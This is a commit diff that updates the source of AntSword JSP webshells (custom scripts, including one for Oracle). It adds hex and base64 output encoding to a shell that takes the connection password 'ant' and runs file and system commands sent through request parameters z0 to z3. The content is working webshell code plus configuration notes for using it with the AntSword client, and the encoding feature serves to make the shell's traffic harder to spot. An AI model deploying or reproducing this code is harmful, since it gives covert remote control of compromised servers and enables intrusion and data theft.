Commit b8d7371e authored by Medicean's avatar Medicean

(Other: Script) jsp_custom_script_for_oracle 解码器支持

parent b5d08cd6
...@@ -19,7 +19,7 @@ ...@@ -19,7 +19,7 @@
jdbc:mysql://localhost/test?user=root&password=123456 jdbc:mysql://localhost/test?user=root&password=123456
注意:以上是两行 注意:以上是两行
4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空 4. 本脚本中 encoder/decoder 与 AntSword 添加 Shell 时选择的 encoder/decoder 要一致,如果选择 default 则需要将值设置为空
已知问题: 已知问题:
1. 文件管理遇到中文文件名显示的问题 1. 文件管理遇到中文文件名显示的问题
...@@ -353,7 +353,7 @@ ChangeLog: ...@@ -353,7 +353,7 @@ ChangeLog:
return fileHexContext; return fileHexContext;
} }
public static String asenc(String str, String decode){ String asenc(String str, String decode){
if(decode.equals("hex") || decode=="hex"){ if(decode.equals("hex") || decode=="hex"){
String ret = ""; String ret = "";
for (int i = 0; i < str.length(); i++) { for (int i = 0; i < str.length(); i++) {
...@@ -465,7 +465,7 @@ ChangeLog: ...@@ -465,7 +465,7 @@ ChangeLog:
sb.append(SysInfoCode(request)); sb.append(SysInfoCode(request));
} }
} catch (Exception e) { } catch (Exception e) {
sb.append("ERROR" + "://" + e.toString()); sb.append("ERROR" + ":// " + e.toString());
} }
output.append(asenc(sb.toString(), decoder)); output.append(asenc(sb.toString(), decoder));
output.append("|" + "<-"); output.append("|" + "<-");
......
...@@ -21,7 +21,7 @@ ...@@ -21,7 +21,7 @@
password password
注意:以上是4行 注意:以上是4行
4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空 4. 本脚本中 encoder/decoder 与 AntSword 添加 Shell 时选择的 encoder/decoder 要一致,如果选择 default 则需要将值设置为空
已知问题: 已知问题:
1. 文件管理遇到中文文件名显示的问题 1. 文件管理遇到中文文件名显示的问题
...@@ -32,11 +32,16 @@ ChangeLog: ...@@ -32,11 +32,16 @@ ChangeLog:
<%! <%!
// ################################################ // ################################################
String Pwd = "ant"; //连接密码 String Pwd = "ant"; //连接密码
// 数据编码 3 选 1 // 编码器 3 选 1
String encoder = ""; // default String encoder = ""; // default
// String encoder = "base64"; //base64 // String encoder = "base64"; //base64
// String encoder = "hex"; //hex(推荐) // String encoder = "hex"; //hex(推荐)
String cs = "UTF-8"; // 编码方式 String cs = "UTF-8"; // 字符编码
// 解码器 4 选 1
String decoder = "";
// String decoder = "base64"; // base64 中文正常
// String decoder = "hex"; // hex 中文可能有问题
// String decoder = "hex_base64"; // hex(base64) // 中文正常
// ################################################ // ################################################
String EC(String s) throws Exception { String EC(String s) throws Exception {
...@@ -332,6 +337,26 @@ ChangeLog: ...@@ -332,6 +337,26 @@ ChangeLog:
return fileHexContext; return fileHexContext;
} }
String asenc(String str, String decode){
if(decode.equals("hex") || decode=="hex"){
String ret = "";
for (int i = 0; i < str.length(); i++) {
int ch = (int) str.charAt(i);
String s4 = Integer.toHexString(ch);
ret = ret + s4;
}
return ret;
}else if(decode.equals("base64") || decode == "base64"){
String sb = "";
sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();
sb = encoder.encode(str.getBytes());
return sb;
}else if(decode.equals("hex_base64") || decode == "hex_base64"){
return asenc(asenc(str, "base64"), "hex");
}
return str;
}
String decode(String str) { String decode(String str) {
byte[] bt = null; byte[] bt = null;
try { try {
...@@ -377,6 +402,7 @@ ChangeLog: ...@@ -377,6 +402,7 @@ ChangeLog:
response.setContentType("text/html"); response.setContentType("text/html");
request.setCharacterEncoding(cs); request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs); response.setCharacterEncoding(cs);
StringBuffer output = new StringBuffer("");
StringBuffer sb = new StringBuffer(""); StringBuffer sb = new StringBuffer("");
try { try {
String funccode = EC(request.getParameter(Pwd) + ""); String funccode = EC(request.getParameter(Pwd) + "");
...@@ -385,7 +411,7 @@ ChangeLog: ...@@ -385,7 +411,7 @@ ChangeLog:
String z2 = decode(EC(request.getParameter("z2") + ""), encoder); String z2 = decode(EC(request.getParameter("z2") + ""), encoder);
String z3 = decode(EC(request.getParameter("z3") + ""), encoder); String z3 = decode(EC(request.getParameter("z3") + ""), encoder);
String[] pars = { z0, z1, z2, z3}; String[] pars = { z0, z1, z2, z3};
sb.append("->" + "|"); output.append("->" + "|");
if (funccode.equals("B")) { if (funccode.equals("B")) {
sb.append(FileTreeCode(pars[1])); sb.append(FileTreeCode(pars[1]));
...@@ -423,8 +449,9 @@ ChangeLog: ...@@ -423,8 +449,9 @@ ChangeLog:
sb.append(SysInfoCode(request)); sb.append(SysInfoCode(request));
} }
} catch (Exception e) { } catch (Exception e) {
sb.append("ERROR" + "://" + e.toString()); sb.append("ERROR" + ":// " + e.toString());
} }
sb.append("|" + "<-"); output.append(asenc(sb.toString(), decoder));
out.print(sb.toString()); output.append("|" + "<-");
out.print(output.toString());
%> %>
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment